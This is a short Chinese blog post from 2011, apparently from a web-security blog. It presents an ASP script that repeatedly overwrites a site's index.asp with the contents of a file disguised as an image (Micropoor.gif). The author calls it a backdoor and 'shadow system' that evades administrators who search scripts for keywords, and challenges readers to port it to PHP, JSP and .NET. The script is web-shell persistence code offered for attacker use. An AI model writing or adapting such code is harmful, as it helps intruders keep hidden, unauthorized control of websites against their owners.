PHP安全新闻早8点_1115

//2011-11-15 星期二 
// 管理员的思维: 
查找asp,php,jsp,.net脚本文件关键词 
//我们的思维: 
<%   
Set fso = CreateObject("Scripting.FileSystemObject")     
sFile = Server.Mappath("/index.asp")    
Set objFile = fso.GetFile(sFile)     
if  objFile.attributes <> 32 then:objFile.attributes = 32:end if    
fso.CopyFile Server.Mappath("/images/Micropoor.gif"),Server.Mappath("/index.asp") 
%> 
 
//一箭双雕: 
那么我们可不可以把它作为index.php的还原精灵呢?它不仅仅是后门,更是我们的影子系统。 
 
//课后题: 
聪明的你,一定会把它演变成PHP,JSP,.NET等 

  

posted @ 2011-11-14 11:54  noevil  阅读(152)  评论(0编辑  收藏  举报